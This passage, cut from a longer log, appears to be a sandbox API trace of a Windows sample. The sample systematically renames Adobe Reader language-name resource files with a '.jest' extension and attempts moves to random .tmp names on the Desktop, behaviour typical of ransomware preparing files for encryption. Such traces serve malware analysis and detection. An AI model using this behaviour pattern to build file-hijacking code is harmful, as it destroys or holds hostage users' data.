10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt.jest") returned 113 [0150.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt", lpUsedDefaultChar=0x0) returned 108 [0150.898] VarBstrFromR4 (in: fltIn=0x4794504b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.59") returned 0x0 [0150.899] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.899] CoFreeUnusedLibraries () [0150.899] GetTickCount () returned 0x11577ee [0150.899] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.899] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.899] GetTickCount () returned 0x11577ee [0150.899] IsWindowVisible (hWnd=0x30268) returned 0 [0150.899] Sleep (dwMilliseconds=0x0) [0150.900] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PfyiX0vcyL CxTPOO7SWkd_oPS33Q0tC5dgcpFtAjkCai0On2BqkimASVc27IPVQZb14_Vw5bEShJoChPOJ2PqYiXdceif3OKELv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pfyix0vcyl cxtpoo7swkd_ops33q0tc5dgcpftajkcai0on2bqkimasvc27ipvqzb14_vw5beshjochpoj2pqyixdceif3okelv.tmp")) returned 0 [0150.900] GetLastError () returned 0x2 [0150.901] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.901] CoFreeUnusedLibraries () [0150.901] GetTickCount () returned 0x11577ee [0150.901] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.901] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.901] GetTickCount () returned 0x11577ee [0150.901] IsWindowVisible (hWnd=0x30268) returned 0 [0150.901] Sleep (dwMilliseconds=0x0) [0150.901] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt.jest")) returned 1 [0150.902] GetLastError () returned 0x0 [0150.902] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹏硴t") returned 0x6b [0150.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.903] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹏硴t") returned 0x6b [0150.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt") returned 108 [0150.903] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹏硴⹴敪瑳") returned 0x70 [0150.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.903] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹏硴⹴敪瑳") returned 0x70 [0150.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt.jest") returned 113 [0150.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt", lpUsedDefaultChar=0x0) returned 108 [0150.903] VarBstrFromR4 (in: fltIn=0x4794504b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.59") returned 0x0 [0150.904] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.904] CoFreeUnusedLibraries () [0150.904] GetTickCount () returned 0x11577ee [0150.904] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.904] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.904] GetTickCount () returned 0x11577ee [0150.904] IsWindowVisible (hWnd=0x30268) returned 0 [0150.904] Sleep (dwMilliseconds=0x0) [0150.905] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8YN3IRLEO2oyWAc7A8oFWHDALGZ60Di9HKtodFo3UEJIYDp3BHRJkAuomEkVbTTqLOo22GJaIiLuuEx_N RNfIZSczL360Su6Asys.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8yn3irleo2oywac7a8ofwhdalgz60di9hktodfo3uejiydp3bhrjkauomekvbttqloo22gjaiiluuex_n rnfizsczl360su6asys.tmp")) returned 0 [0150.905] GetLastError () returned 0x2 [0150.906] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.906] CoFreeUnusedLibraries () [0150.906] GetTickCount () returned 0x11577ee [0150.906] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.906] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.906] GetTickCount () returned 0x11577ee [0150.906] IsWindowVisible (hWnd=0x30268) returned 0 [0150.906] Sleep (dwMilliseconds=0x0) [0150.909] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt.jest")) returned 1 [0150.910] GetLastError () returned 0x0 [0150.910] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹌硴t") returned 0x6b [0150.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.910] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹌硴t") returned 0x6b [0150.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt") returned 108 [0150.910] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹌硴⹴敪瑳") returned 0x70 [0150.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.910] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䍟⹌硴⹴敪瑳") returned 0x70 [0150.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt.jest") returned 113 [0150.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt", lpUsedDefaultChar=0x0) returned 108 [0150.911] VarBstrFromR4 (in: fltIn=0x4794504d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.6") returned 0x0 [0150.911] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.912] CoFreeUnusedLibraries () [0150.912] GetTickCount () returned 0x11577fe [0150.912] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.912] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.912] GetTickCount () returned 0x11577fe [0150.912] IsWindowVisible (hWnd=0x30268) returned 0 [0150.912] Sleep (dwMilliseconds=0x0) [0150.913] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_hgjXy Mzc9v5mf6AAZjZBnbVx6qK8hqoda7xVxED0cI4tB4KIPNmdDvsiK UbN kyC-M2KpJ QJyrHBsw-VuWzN0jNt37VkL9TO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_hgjxy mzc9v5mf6aazjzbnbvx6qk8hqoda7xvxed0ci4tb4kipnmddvsik ubn kyc-m2kpj qjyrhbsw-vuwzn0jnt37vkl9to.tmp")) returned 0 [0150.913] GetLastError () returned 0x2 [0150.914] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.914] CoFreeUnusedLibraries () [0150.914] GetTickCount () returned 0x11577fe [0150.914] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.914] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.914] GetTickCount () returned 0x11577fe [0150.914] IsWindowVisible (hWnd=0x30268) returned 0 [0150.914] Sleep (dwMilliseconds=0x0) [0150.916] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt.jest")) returned 1 [0150.916] GetLastError () returned 0x0 [0150.917] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䉟⹏硴t") returned 0x6b [0150.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.917] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䉟⹏硴t") returned 0x6b [0150.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt") returned 108 [0150.917] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䉟⹏硴⹴敪瑳") returned 0x70 [0150.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.917] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䉟⹏硴⹴敪瑳") returned 0x70 [0150.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x1445ffc, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt.jest") returned 113 [0150.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt", lpUsedDefaultChar=0x0) returned 108 [0150.918] VarBstrFromR4 (in: fltIn=0x4794504d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.6") returned 0x0 [0150.918] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.918] CoFreeUnusedLibraries () [0150.918] GetTickCount () returned 0x11577fe [0150.918] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.918] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.918] GetTickCount () returned 0x11577fe [0150.918] IsWindowVisible (hWnd=0x30268) returned 0 [0150.918] Sleep (dwMilliseconds=0x0) [0150.919] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nE TjlptOiV0Y-9Fk8HN0 aKY0glluPNAbVG5pPChIOz5OMyTLpSiF76ypH AoF9JDGXHydvkg-bHbM5v58JXsIlftkRwUF5xmyB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ne tjlptoiv0y-9fk8hn0 aky0gllupnabvg5ppchioz5omytlpsif76yph aof9jdgxhydvkg-bhbm5v58jxsilftkrwuf5xmyb.tmp")) returned 0 [0150.919] GetLastError () returned 0x2 [0150.920] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.920] CoFreeUnusedLibraries () [0150.920] GetTickCount () returned 0x11577fe [0150.920] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.920] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.920] GetTickCount () returned 0x11577fe [0150.920] IsWindowVisible (hWnd=0x30268) returned 0 [0150.920] Sleep (dwMilliseconds=0x0) [0150.921] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt.jest")) returned 1 [0150.922] GetLastError () returned 0x0 [0150.922] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䅟⹒硴t") returned 0x6b [0150.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.922] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䅟⹒硴t") returned 0x6b [0150.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt") returned 108 [0150.922] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䅟⹒硴⹴敪瑳") returned 0x70 [0150.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.922] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥䅟⹒硴⹴敪瑳") returned 0x70 [0150.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt.jest") returned 113 [0150.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt", lpUsedDefaultChar=0x0) returned 108 [0150.923] VarBstrFromR4 (in: fltIn=0x4794504f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.62") returned 0x0 [0150.924] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.924] CoFreeUnusedLibraries () [0150.924] GetTickCount () returned 0x115780d [0150.924] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.924] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.924] GetTickCount () returned 0x115780d [0150.924] IsWindowVisible (hWnd=0x30268) returned 0 [0150.924] Sleep (dwMilliseconds=0x0) [0150.925] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2KSjULPvoVHbpJH59AcmOXnKMQFDPZ8ZxKW9- XC3bOogJBkowLpJ6tSIJFdiy Scv0ecBoEP_-LXyft1jy35FjISbEBei-ik0JT1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2ksjulpvovhbpjh59acmoxnkmqfdpz8zxkw9- xc3boogjbkowlpj6tsijfdiy scv0ecboep_-lxyft1jy35fjisbebei-ik0jt1.tmp")) returned 0 [0150.925] GetLastError () returned 0x2 [0150.926] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.926] CoFreeUnusedLibraries () [0150.926] GetTickCount () returned 0x115780d [0150.926] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.926] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.926] GetTickCount () returned 0x115780d [0150.926] IsWindowVisible (hWnd=0x30268) returned 0 [0150.926] Sleep (dwMilliseconds=0x0) [0150.927] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt.jest")) returned 1 [0150.929] GetLastError () returned 0x0 [0150.929] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥彟剔䑁呉佉䅎⹌硴t") returned 0x75 [0150.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=117, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 117 [0150.929] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥彟剔䑁呉佉䅎⹌硴t") returned 0x75 [0150.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=118, lpWideCharStr=0x14cf144, cchWideChar=235 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt") returned 118 [0150.929] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳獥彟剔䑁呉佉䅎⹌硴⹴敪瑳") returned 0x7a [0150.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=122, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 122 [0150.929] SysStringByteLen 